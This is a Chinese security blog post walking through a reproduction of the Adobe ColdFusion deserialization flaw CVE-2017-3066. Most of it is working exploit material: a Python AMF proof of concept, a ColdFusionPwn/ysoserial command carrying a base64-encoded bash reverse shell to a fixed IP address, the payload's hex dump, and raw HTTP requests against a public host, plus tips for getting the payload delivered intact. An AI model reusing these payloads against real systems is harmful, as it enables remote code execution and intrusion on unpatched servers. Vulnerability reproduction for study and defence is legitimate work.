Adobe ColdFusion 反序列化漏洞复现踩坑

黑伞安全

发布于 2021-10-14 15:13:34

1.8K0

发布于 2021-10-14 15:13:34

文章被收录于专栏：黑伞安全

Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品，其运行的CFML（ColdFusion Markup Language）是针对Web应用的一种程序设计语言。

Adobe ColdFusion中存在java反序列化漏洞。攻击者可利用该漏洞在受影响应用程序的上下文中执行任意代码或造成拒绝服务。以下版本受到影响：Adobe ColdFusion (2016 release) Update 3及之前的版本，ColdFusion 11 Update 11及之前的版本，ColdFusion 10 Update 22及之前的版本。

参考链接：

https://codewhitesec.blogspot.com.au/2018/03/exploiting-adobe-coldfusion.html
https://www.exploit-db.com/exploits/43993
https://github.com/codewhitesec/ColdFusionPwn

由于在实战中利用过这个漏洞，而且打的时候差点崩溃，换了好多burp才成功。今天碰巧又遇到这个洞了，那么在本地搭建一下开始复现一波。

使用vulhub环境。（vulhub YYDS）

前面过程按照 https://github.com/vulhub/vulhub/blob/master/coldfusion/CVE-2010-2861/README.zh-cn.md 操作即可。

这时候很多同学的exp都不成功，原因在于burp了

我们看一下CVE-2017-3066的poc

import struct
import sys
import requests

if len(sys.argv) != 5:
    print "Usage: ./cf_blazeds_des.py target_IP target_port callback_IP callback_port"
    quit()

target_IP = sys.argv[1]
target_port = sys.argv[2]
callback_IP = sys.argv[3]
callback_port = sys.argv[4]

amf_payload = '\x00\x03\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xff\x11\x0a' + \
              '\x07\x33' + 'sun.rmi.server.UnicastRef' + struct.pack('>H', len(callback_IP)) + callback_IP + \
              struct.pack('>I', int(callback_port)) + \
              '\xf9\x6a\x76\x7b\x7c\xde\x68\x4f\x76\xd8\xaa\x3d\x00\x00\x01\x5b\xb0\x4c\x1d\x81\x80\x01\x00';

url = "http://" + target_IP + ":" + target_port + "/flex2gateway/amf"
headers = {'Content-Type': 'application/x-amf'}
response = requests.post(url, headers=headers, data=amf_payload, verify=False)

开始搞：

(base) ➜  ColdFusion java -cp coldpwn.jar:yso.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTguMTkwLjk3LjE5LzgxODEgMD4mMQ==}|{base64,-d}|{bash,-i}' poc.ser

查看一下hex：

(base) ➜xxd  poc.ser    
00000000: 0003 0000 0001 0000 0000 0000 0001 110a  ................
00000010: 0747 6f72 672e 6170 6163 6865 2e61 7869  .Gorg.apache.axi
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00000030: 456e 7472 797c 998b d2c6 4fb4 e300 0000  Entry|....O.....
00000040: 0201 0000 000b 2aac ed00 0573 7200 176a  ......*....sr..j
00000050: 6176 612e 7574 696c 2e50 7269 6f72 6974  ava.util.Priorit
00000060: 7951 7565 7565 94da 30b4 fb3f 82b1 0300  yQueue..0..?....
00000070: 0249 0004 7369 7a65 4c00 0a63 6f6d 7061  .I..sizeL..compa
00000080: 7261 746f 7274 0016 4c6a 6176 612f 7574  ratort..Ljava/ut
00000090: 696c 2f43 6f6d 7061 7261 746f 723b 7870  il/Comparator;xp
000000a0: 0000 0002 7372 002b 6f72 672e 6170 6163  ....sr.+org.apac
000000b0: 6865 2e63 6f6d 6d6f 6e73 2e62 6561 6e75  he.commons.beanu
000000c0: 7469 6c73 2e42 6561 6e43 6f6d 7061 7261  tils.BeanCompara
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000000f0: 4c00 0870 726f 7065 7274 7974 0012 4c6a  L..propertyt..Lj
00000100: 6176 612f 6c61 6e67 2f53 7472 696e 673b  ava/lang/String;
00000110: 7870 7372 003f 6f72 672e 6170 6163 6865  xpsr.?org.apache
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00000150: 7261 746f 72fb f499 25b8 6eb1 3702 0000  rator...%.n.7...
00000160: 7870 7400 106f 7574 7075 7450 726f 7065  xpt..outputPrope
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00000250: 7870 0000 0000 ffff ffff 7572 0003 5b5b  xp........ur..[[
00000260: 424b fd19 1567 67db 3702 0000 7870 0000  BK...gg.7...xp..
00000270: 0002 7572 0002 5b42 acf3 17f8 0608 54e0  ..ur..[B......T.
00000280: 0200 0078 7000 0006 f7ca feba be00 0000  ...xp...........
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00000730: 7368 202d 6320 7b65 6368 6f2c 596d 467a  sh -c {echo,YmFz
00000740: 6143 4174 6153 412b 4a69 4176 5a47 5632  aCAtaSA+JiAvZGV2
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00000780: 342c 2d64 7d7c 7b62 6173 682c 2d69 7d08  4,-d}|{bash,-i}.
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000007a0: 7661 2f6c 616e 672f 5374 7269 6e67 3b29  va/lang/String;)
000007b0: 4c6a 6176 612f 6c61 6e67 2f50 726f 6365  Ljava/lang/Proce
000007c0: 7373 3b0c 0032 0033 0a00 2b00 3401 000d  ss;..2.3..+.4...
000007d0: 5374 6163 6b4d 6170 5461 626c 6501 001e  StackMapTable...
000007e0: 7973 6f73 6572 6961 6c2f 5077 6e65 7231  ysoserial/Pwner1
000007f0: 3732 3039 3430 3734 3633 3439 3830 0100  72094074634980..
00000800: 204c 7973 6f73 6572 6961 6c2f 5077 6e65   Lysoserial/Pwne
00000810: 7231 3732 3039 3430 3734 3633 3439 3830  r172094074634980
00000820: 3b00 2100 0200 0300 0100 0400 0100 1a00  ;.!.............
00000830: 0500 0600 0100 0700 0000 0200 0800 0400  ................
00000840: 0100 0a00 0b00 0100 0c00 0000 2f00 0100  ............/...
00000850: 0100 0000 052a b700 01b1 0000 0002 000d  .....*..........
00000860: 0000 0006 0001 0000 002f 000e 0000 000c  ........./......
00000870: 0001 0000 0005 000f 0038 0000 0001 0013  .........8......
00000880: 0014 0002 000c 0000 003f 0000 0003 0000  .........?......
00000890: 0001 b100 0000 0200 0d00 0000 0600 0100  ................
000008a0: 0000 3300 0e00 0000 2000 0300 0000 0100  ..3..... .......
000008b0: 0f00 3800 0000 0000 0100 1500 1600 0100  ..8.............
000008c0: 0000 0100 1700 1800 0200 1900 0000 0400  ................
000008d0: 0100 1a00 0100 1300 1b00 0200 0c00 0000  ................
000008e0: 4900 0000 0400 0000 01b1 0000 0002 000d  I...............
000008f0: 0000 0006 0001 0000 0036 000e 0000 002a  .........6.....*
00000900: 0004 0000 0001 000f 0038 0000 0000 0001  .........8......
00000910: 0015 0016 0001 0000 0001 001c 001d 0002  ................
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00000a30: 736f 7365 7269 616c 2f70 6179 6c6f 6164  soserial/payload
00000a40: 732f 7574 696c 2f47 6164 6765 7473 2446  s/util/Gadgets$F
00000a50: 6f6f 3b01 000a 536f 7572 6365 4669 6c65  oo;...SourceFile
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00000a70: 000a 000b 0700 1a01 0023 7973 6f73 6572  .........#ysoser
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00000aa0: 6a61 7661 2f6c 616e 672f 4f62 6a65 6374  java/lang/Object
00000ab0: 0100 146a 6176 612f 696f 2f53 6572 6961  ...java/io/Seria
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00000ad0: 6961 6c2f 7061 796c 6f61 6473 2f75 7469  ial/payloads/uti
00000ae0: 6c2f 4761 6467 6574 7300 2100 0200 0300  l/Gadgets.!.....
00000af0: 0100 0400 0100 1a00 0500 0600 0100 0700  ................
00000b00: 0000 0200 0800 0100 0100 0a00 0b00 0100  ................
00000b10: 0c00 0000 2f00 0100 0100 0000 052a b700  ..../........*..
00000b20: 01b1 0000 0002 000d 0000 0006 0001 0000  ................
00000b30: 003a 000e 0000 000c 0001 0000 0005 000f  .:..............
00000b40: 0012 0000 0002 0013 0000 0002 0014 0011  ................
00000b50: 0000 000a 0001 0002 0016 0010 0009 7074  ..............pt
00000b60: 0004 5077 6e72 7077 0100 7871 007e 000d  ..Pwnrpw..xq.~..
00000b70: 7801 0101                                x...

导入burp （burp拉胯的问题）：

POST /flex2gateway/amf HTTP/1.1
Host: 60.205.212.75:8006
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Connection: close
Content-Type: application/x-amf
Content-Length: 3003



\x00\x03\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xff\x11\x0a
Gorg.apache.axis2.util.MetaDataEntry|ÒÆO´ã*¬ísrjava.util.PriorityQueueÚ0´û?±IsizeL
comparatortLjava/util/Comparator;xpsr+org.apache.commons.beanutils.BeanComparatorÏþNñ~L
comparatorq~LpropertytLjava/lang/String;xpsr?org.apache.commons.collections.comparators.ComparableComparatorûô%¸n±7xptoutputPropertieswsr:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl  WOÁn¬«3I_indentNumberI_transletIndex[
_bytecodest[[B[_classt[Ljava/lang/Class;L_nameq~L_outputPropertiestLjava/util/Properties;xpÿÿÿÿur[[BKýggÛ7xpur[B¬óøTàxp÷Êþº¾29
"7%&serialVersionUIDJConstantValue óÝï><init>()VCodeLineNumberTableLocalVariableTablethisStubTransletPayloadInnerClasses5Lysoserial/payloads/util/Gadgets$StubTransletPayload;  transformr(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)Vdocument-Lcom/sun/org/apache/xalan/internal/xsltc/DOM;handlersB[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;
Exceptions'¦(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)Viterator5Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;handlerALcom/sun/org/apache/xml/internal/serializer/SerializationHandler;
SourceFileGadgets.java
(3ysoserial/payloads/util/Gadgets$StubTransletPayload@com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTransletjava/io/Serializable9com/sun/org/apache/xalan/internal/xsltc/TransletExceptionysoserial/payloads/util/Gadgets<clinit>java/lang/Runtime*
getRuntime()Ljava/lang/Runtime;,-
+.abash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTguMTkwLjk3LjE5LzgxODEgMD4mMQ==}|{base64,-d}|{bash,-i}0exec'(Ljava/lang/String;)Ljava/lang/Process;23
+4StackMapTableysoserial/Pwner172094074634980 Lysoserial/Pwner172094074634980;!
/*·±/8?±3 8I±6*8)$§L¸/1¶5W±6 !
#  uq~ÔÊþº¾2
serialVersionUIDJConstantValueqæiî<mG<init>()VCodeLineNumberTableLocalVariableTablethisFooInnerClasses%Lysoserial/payloads/util/Gadgets$Foo;
SourceFileGadgets.java
#ysoserial/payloads/util/Gadgets$Foojava/lang/Objectjava/io/Serializableysoserial/payloads/util/Gadgets!
/*·±:
  ptPwnrpwxq~x

发现hex 对不上，导致无法exp成功！

这时候大家也不必非得找一堆burp测试，可以使用postman 一把梭！

配置postman代理，将postman 流量代理到burp上。

POC生成于poc.ser文件中，将POC作为数据包body发送给http://your-ip:8500/flex2gateway/amf，Content-Type为application/x-amf：

导入pm

点击send

这时候bp收到流量：

这时候就不会出现hex 不一致的问题了。

POST /flex2gateway/amf HTTP/1.1
Content-Type: application/x-amf
User-Agent: PostmanRuntime/7.28.4
Accept: */*
Postman-Token: e6337283-3d4b-4ffb-bec0-b7f5d6575345
Host: 60.205.212.75:8006
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=21449A61E070DA3C42D224ED7EBF1F33.cfusion
Content-Length: 2932


Gorg.apache.axis2.util.MetaDataEntry|����O��*��srjava.util.PriorityQueue��0��?��IsizeL
comparatortLjava/util/Comparator;xpsr+org.apache.commons.beanutils.BeanComparatorώ��N�~L
comparatorq~LpropertytLjava/lang/String;xpsr?org.apache.commons.collections.comparators.ComparableComparator���%�n�7xptoutputPropertieswsr:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl  WO�n��3I_indentNumberI_transletIndex[
_bytecodest[[B[_classt[Ljava/lang/Class;L_nameq~L_outputPropertiestLjava/util/Properties;xp����ur[[BK�gg�7xpur[B���T�xp�����29
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Exceptions'�(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)Viterator5Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;handlerALcom/sun/org/apache/xml/internal/serializer/SerializationHandler;
SourceFileGadgets.java
(3ysoserial/payloads/util/Gadgets$StubTransletPayload@com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTransletjava/io/Serializable9com/sun/org/apache/xalan/internal/xsltc/TransletExceptionysoserial/payloads/util/Gadgets<clinit>java/lang/Runtime*
getRuntime()Ljava/lang/Runtime;,-
+.abash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTguMTkwLjk3LjE5LzgxODEgMD4mMQ==}|{base64,-d}|{bash,-i}0exec'(Ljava/lang/String;)Ljava/lang/Process;23
+4StackMapTableysoserial/Pwner172094074634980 Lysoserial/Pwner172094074634980;!
/*��/8?�3 8I�6*8)$�L�/1�5W�6 !
#  uq~�����2
serialVersionUIDJConstantValueq�i�<mG<init>()VCodeLineNumberTableLocalVariableTablethisFooInnerClasses%Lysoserial/payloads/util/Gadgets$Foo;
SourceFileGadgets.java
#ysoserial/payloads/util/Gadgets$Foojava/lang/Objectjava/io/Serializableysoserial/payloads/util/Gadgets!
/*��:
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原始发表：2021-09-14，如有侵权请联系 cloudcommunity@tencent.com 删除

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